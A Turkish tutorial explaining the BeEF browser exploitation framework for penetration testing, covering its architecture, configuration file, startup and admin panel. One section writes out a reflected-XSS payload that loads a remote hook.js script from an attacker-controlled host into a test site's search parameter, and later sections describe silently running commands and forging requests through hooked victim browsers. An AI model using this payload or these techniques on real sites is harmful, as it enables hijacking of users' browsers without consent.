BeEF Framework Nedir? Nasıl Kullanılır?

Omer Citak - 17 Şubat 2017 -

Mobil istemciler de dahil olmak üzere müşterilere yönelik web tabanlı saldırılarla ilgili endişeler arttıkça, BeEF, profesyonel penetrasyon test cihazının istemci taraflı saldırı vektörlerini kullanarak gerçek bir hedef güvenlik ortamını değerlendirebilmesini sağlar. BeEF, bir veya daha fazla web tarayıcısını kendine bağlayarak ve bunları yönlendirilmiş komut modüllerini başlatmak ve ...

BeEF Framework Nedir? Nasıl Kullanılır?

BeEF Framework Nedir?

BeEF Framework Nedir?

BeEF, The Browser Exploitation Framework'in kısaltmasıdır. Web tarayıcısına odaklanan bir penetrasyon test aracıdır.

Mobil istemciler de dahil olmak üzere müşterilere yönelik web tabanlı saldırılarla ilgili endişeler arttıkça, BeEF, profesyonel penetrasyon test cihazının istemci taraflı saldırı vektörlerini kullanarak gerçek bir hedef güvenlik ortamını değerlendirebilmesini sağlar. BeEF, bir veya daha fazla web tarayıcısını kendine bağlayarak ve bunları yönlendirilmiş komut modüllerini başlatmak ve tarayıcı bağlamında sisteme karşı daha fazla saldırı başlatmak için ana sunucu olarak kullanacaktır.

Mimarisi ve Çalışma Mantığı

BeEF’in mimarisi kabaca aşağıdaki görseldeki gibidir.

BeEF Framework Nedir-1

Yukarıdaki görseli açıklayacak olursak; BeEF 3 katmandan oluşmaktadır.

  1. Saldırgan veya Saldırganların kişisel bilgisayarları
  2. BeEF’in kurulu olduğu master server
  3. Kurbanlar

Bir şekilde BeEF’in ağına dahil olmuş kurbanlar sürekli bilgilerini BeEF’in kurulu olduğu ana sunucuya gönderirler. Saldırgan kendi IP adreslerini BeEF’in konfigürasyon dosyasından web arayüzüne girme izni verecek şekilde yapılandırdıktan sonra ana sunucunun web paneline kullanıcı adı ve parola ile erişim sağlarlar. Kurbanların tüm bilgileri sürekli ana sunucuya iletildiğinden saldırgan tüm kurbanların bilgilerine web arayüzü üzerinden ulaşabilecek.

Yani her bir kurban ile sadırgan arasındaki yapı aşağıdaki görseldeki gibi olacaktır.

BeEF Framework Nedir-2

Kurulum

Eğer Kali Linux kullanıyorsanız bu adımı doğrudan geçebilirsiniz çünkü BeEF, Kali Linux içerisinde zaten kurulu olarak geliyor. Kali Linux kullanmıyor iseniz aşağıdaki bağlantıdan kendi işletim sisteminize BeEF’i nasıl kurabileceğinizi öğrenebilirsiniz.

BeEF Kurulum: https://github.com/beefproject/beef/wiki/Installation

Konfigürasyon

BeEF’in konfigürasyon dosyası default olarak /etc/beef-xss dizinindeki config.yaml dosyasıdır. /etc/beef-xss/config.yaml dosyasını herhangi bir metin editörü ile açıp aşağıdaki adımlara göre konfigürasyon yapmalısınız.

  • Web Arayüz Ağ Kısıtlamaları

    restrictions:
    	permitted_hooking_subnet: "0.0.0.0/0"
    	permitted_ui_subnet: "127.0.0.1/32"

    permitted_hooking_subnet: Bu değişken, hangi subnetten BeEF’in arayüzüne hook yapılabileceğini belirler. Bu ayar, BeEF’in kurbanlara ulaşması için önemlidir.

    permitted_ui_subnet: Bu değişken, hangi subnetten BeEF’in web arayüzüne giriş yapılabileceğini belirler. Bu ayar saldırganın web arayüz paneline ulaşması için önemlidir.

  • Web Sunucusu

    http:
    	debug: false
    	host: "0.0.0.0"
    	port: "3000"
    
    	# Proxy
    	public: "8.7.6.5"
    	public_port: "3000"
    
    	# Domain Name Server
    	dns_host: "localhost"
    	dns_port: 53
    
    	# Web Admin Interface
    	web_ui_basepath: "/ui"
    
    	# Hook
    	hook_file: "/hook.js"
    	hook_session_name: "BEEFHOOK"
    	session_cookie_name: "BEEFSESSION"

    debug: Oluşacak hataların detaylı olarak çıktıları alınmak isteniyorsa bu değişken true olarak ayarlanmalıdır.

    host: BeEF’in kurulu olduğu master server’ın IP adresi girilmelidir.

    port: BeEF’in ayağa kaldırılacağı port. 3000 gibi popüler uygulamalar tarafından kullanılmayan bir port seçmek mantıklı olacaktır. Zira 80, 22 gibi portlar seçilirse sunucuda o portu kullanan diğer hizmetler ile çakıştığından sıkıntı yaşanacaktır.

    public ve public_port değişkenleri ise varsa bir vekil sunucu girilmesi içindir. Bu değişkenlerin set edilmesi zorunlu değildir.

    dns_host ve dns_port değişkenleri adından da anlaşılacağı üzere DNS host ve portunu girmemiz gereken değişkenlerdir.

    web_ui_basepath değişkeni, BeEF’in admin arayüzünün görüüntülenmesi istenen path değişkenidir.

    hook_file: XSS zafiyeti bulunan hedefe entegre edilmesi gereken uzak JavaScript dosyasının yoludur.

  • Veri Tabanı

    BeEF öntanımlı olarak SQLite kullanır ve veritabanı dosyası şuradadır: /var/lib/beef-xss/beef.db. Ancak MySQL ve PostgreSQL’de desteklenmektedir. Aşağıdaki ayarlardan dilerseniz veritabanını değiştirebilirsiniz.

    Dikkat edilmesi gereken bir nokta var; eğer Sqlite dışındaki seçeneklerden biri kullanılacak ise kullanılacak veritabanının adaptörü Gem ile yüklenmelidir.

    Adımlar;

    1. BeEF’in kurulu olduğu dizine geçmek; cd /usr/share/beef-xss
    2. MySQL adaptörünün kurulumu; gem install "dm-mysql-adapter"
    3. PostgreSQL adaptörünün kurulumu; gem install "dm-postgres-adapter"
    database:
    	driver: "sqlite"
    
    	db_file: "db/beef.db"
    
    	db_host: "localhost"
    	db_port: 3306
    	db_name: "beef"
    	db_user: "beef"
    	db_passwd: "beef"
    	db_encoding: "UTF-8"

    driver: Kullanılması istenilen veritabanı girilmelidir. Girilebilir değerler: sqlite, mysql, postgres

    db_file: Eğer driver Sqlite seçilmiş ise veritabanı olarak kullanılacak dosyanın yolu.

    Diğer değişkenler ise eğer MySQL veya PostgreSQL seçilmiş ise bağlantı için gereken değerlerin girilmesi içindir. Eğer drive sqlite seçilmiş ise bu değerler boş bırakılabilir.

  • Yetkilendirme

    BeEF’in web admin arayüzüne girmek için gerekli kullanıcı adı ve parola bu bölümde tanımlanır.

    credentials:
    	user:   "beef"
    	passwd: "beef"

BeEF’i Çalıştırmak

Bir önceki bölümde gerekli konfigürasyonu yaptıktan sonra BeEF’i ayağa kaldırmamız gerekiyor. Bunun birçok yolu var.

  1. Eğer Kali Linux kullanıyorsanız “Applications > Exploitation” menüzü altındaki “beef xss framework” uygulamasına tıklamanız yeterli. Gerekli servisleri başlatıp browser’da admin arayüzünü açacaktır.
  2. Kurulumu manuel olarak farklı bir sunucuya yaptıysanız 2 farklı şekilde çalıştırabilirsiniz.
    1. BeEF servisini start ederek,
    2. BeEF’in Ruby dosyasını çalıştırarak

Kurulumu manuel olarak farklı bir sunucuya yaptıysanız tavsiyem 2. yöntem ile çalıştırmanızdır. BeEF’in Ruby dosyasından çalıştırmak için yapmanız gerekenler;

  1. BeEF’in kurulu olduğunuz dizine geçmek; cd /usr/share/beef-xs
  2. BeEF’i çalıştırmak için; ./beef

XSS Zafiyeti ile BeEF Hook Dosyasını Tetiklemek

Kurulumdan sonra hook dosyanıza aşağıdaki şemadan ulaşabilirsiniz;

http://{host}:{port}{hook_file} yani http://1.2.3.4:3000/hook.js

Hook dosyasının içerisinde kurbanı BeEF’in ağına düşürecek zararlı JavaScript kodu bulunmaktadır. XSS zafiyeti bulunan sistemde bir şekilde hook dosyası çağrılır ve kurban tarafından tetikletilir ise kurban BeEF’in ağına düşmüş olacaktır.

Örnek olarak aşağıdaki adresde Reflected XSS olduğunu varsayalım;

http://testsparker.com/ara.php?k=deneme

Buradaki XSS zafiyetine aşağıdaki şekilde hook dosyasını çağırtabiliriz;

http://testsparker.com/ara.php?k=<script src="http://1.2.3.4:3000/hook.js"></script>

Web Admin Arayüzü

Web admin arayüzüne yukarıda yapılan ayarlar sonucunda şu şemadan ulaşılabilir;

http://{host}:{port}{web_ui_basepath}/panel

Web admin arayüzü açıldığında ilk olarak aşağıdaki görseldeki gibi pencere ile karılaşılacaktır;

BeEF Framework Nedir-3

Burada dikkat etmemiz gereken noktalardan biri “Each command module has a traffic light icon, which is used to indicate the following” bölümü. Bu bölümdeki renklendirmelere bu yazının “Web Admin Arayüzü > Commands” bölümünde ihtiyacımız olacak.

BeEF Framework Nedir-4

  • Yeşil: Komut zombi browserda çalıştırılabilir ve kurbanın bundan haberi olmaz.
  • Turuncu: Komut zombi browserda çalıştırılabilir ama kurbanın haberi olabilir.
  • Beyaz: Komutun çalıştırılabilme durumu henüz tespit edilemedi.
  • Kırmızı: Komut zombi üzerinde çalıştırılamaz.

Sol taraftaki pencerede hook dosyasından bir şekilde etkinlenmiş kurbanların IP adresleri bulunuyor. Sağ taraftaki pencerede ise sizi karşılayan bir Home sayfası ve deaktif şekilde bir Logs penceresi bulunuyor.

Sol taraftaki penceren online olan zombinin üstüne tıklandığında sağ taraftaki pencerede “Current Browser” adında bir sekme aktif olacaktır. O kurban ile ilgili işlemler o sekme üzerinden yapılacaktır.

Bu sekme içerisinde 8 tane sekme var. Bu sekmelerden en önemli olanları ve açıklamaları aşağıdaki gibidir;

  • 1. Detail

    Zombinin sistemi hakkında bilgilerin olduğu sekmedir.

    BeEF Framework Nedir-5
  • 2. Logs

    Zombi browser üzerinde yapılmış işlemlerin zaman damgalı şekilde loglarının olduğu sekmedir.

    BeEF Framework Nedir-6
  • 3. Commands

    Zombi browser üzerinde komut çalıştırabileceğimiz sekmedir.

    BeEF Framework Nedir-7

    Yukarıdaki görselde göründüğü üzere “Module Tree” diye bir sekme var ve yapılabilecek tüm işlemler bu sekme içerisinde yer alıyor. Örnek olarak zombi browser’a bir JavaScript alert’i şu şekilde verebiliriz.

    Browser > Hooked Domain > Create Alert Dialog sayfasına gidip kurban browsera istediğimiz mesajı alert olarak verdirebiliriz.

    BeEF Framework Nedir-8
  • 4. Rider

    Zombi browser üzerinden request gönderebileceğimiz sekmedir. “Forge Request” sekmesinden request yapabilir, yapılan requestleri “History” sekmesinden görüntüleyebilirsiniz.

    BeEF Framework Nedir-9 BeEF Framework Nedir-9
  • 5. Network

    Zombi ile saldırgan arasındaki ağ bağlantısının görselleştirilmiş halinin olduğu sekmedir.

    BeEF Framework Nedir-10

Kaynakça